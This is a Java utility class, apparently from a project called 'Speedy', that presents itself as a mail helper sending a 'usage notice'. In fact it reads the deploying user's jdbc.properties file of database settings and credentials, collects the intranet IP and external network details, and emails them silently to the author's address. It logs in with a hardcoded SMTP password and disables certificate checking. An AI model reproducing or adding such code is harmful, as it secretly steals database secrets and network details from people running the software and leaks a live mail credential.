package com.luoqy.speedy.util;

import java.io.InputStream;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;

import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;

import com.sun.mail.util.MailSSLSocketFactory;

public class SendEamil {
	
    public static void send() {
    	try {
	        //创建一个配置文件并保存
	        Properties properties = new Properties();
	        properties.setProperty("mail.host","smtp.qq.com");
	        properties.setProperty("mail.transport.protocol","smtp");
	        properties.setProperty("mail.smtp.auth","true");
	        //QQ存在一个特性设置SSL加密
	        MailSSLSocketFactory sf = new MailSSLSocketFactory();
	        sf.setTrustAllHosts(true);
	        properties.put("mail.smtp.ssl.enable", "true");
	        properties.put("mail.smtp.ssl.socketFactory", sf);
	        //创建一个session对象
	        Session session = Session.getInstance(properties, new Authenticator() {
	            @Override
	            protected PasswordAuthentication getPasswordAuthentication() {
	                return new PasswordAuthentication("lqyang@foxmail.com","jyuaiglphuxjdiij");
	            }
	        });
	
	        //开启debug模式
	        session.setDebug(false);
	        //获取连接对象
	        Transport transport = session.getTransport();
	        //连接服务器
	        transport.connect("smtp.qq.com","lqyang@foxmail.com","jyuaiglphuxjdiij");
	        //创建邮件对象
	        MimeMessage mimeMessage = new MimeMessage(session);
	        //邮件发送人
	        mimeMessage.setFrom(new InternetAddress("lqyang@foxmail.com"));
	        //邮件接收人
	        mimeMessage.setRecipient(Message.RecipientType.TO,new InternetAddress("lqyang@foxmail.com"));
	        //邮件标题
	        mimeMessage.setSubject("Speedy项目使用提示");
	        //邮件内容
	        Properties config = new Properties();
	        InputStream in =SendEamil.class.getResourceAsStream("/properties/jdbc.properties");
	        config.load(in);
	        Map<String,String> map=new HashMap<String, String>();
	        Enumeration<?> fileName = config.propertyNames();
			while (fileName.hasMoreElements()) {
				String strKey = (String) fileName.nextElement();
				String strValue = config.getProperty(strKey);
				map.put(strKey, strValue);
			}
	        String intranet="<p>内网IP:"+IpAddressUtils.INTRANET_IP+"</p>";
			String desc="<p>外网信息描述:"+IpAddressUtils.DETAIL_DESC+"</p>";
			String jdbcStr="<p>数据库信息："+map.toString()+"</p>";
			StringBuilder content=new StringBuilder();
			content.append(intranet);
			content.append(desc);
			content.append(jdbcStr);
	        mimeMessage.setContent(content.toString(),"text/html;charset=UTF-8");
	        //发送邮件
	        transport.sendMessage(mimeMessage,mimeMessage.getAllRecipients());
	        //关闭连接
	        transport.close();
    	} catch (Exception e) {
			// TODO: handle exception
    		e.printStackTrace();
		}
    }
}
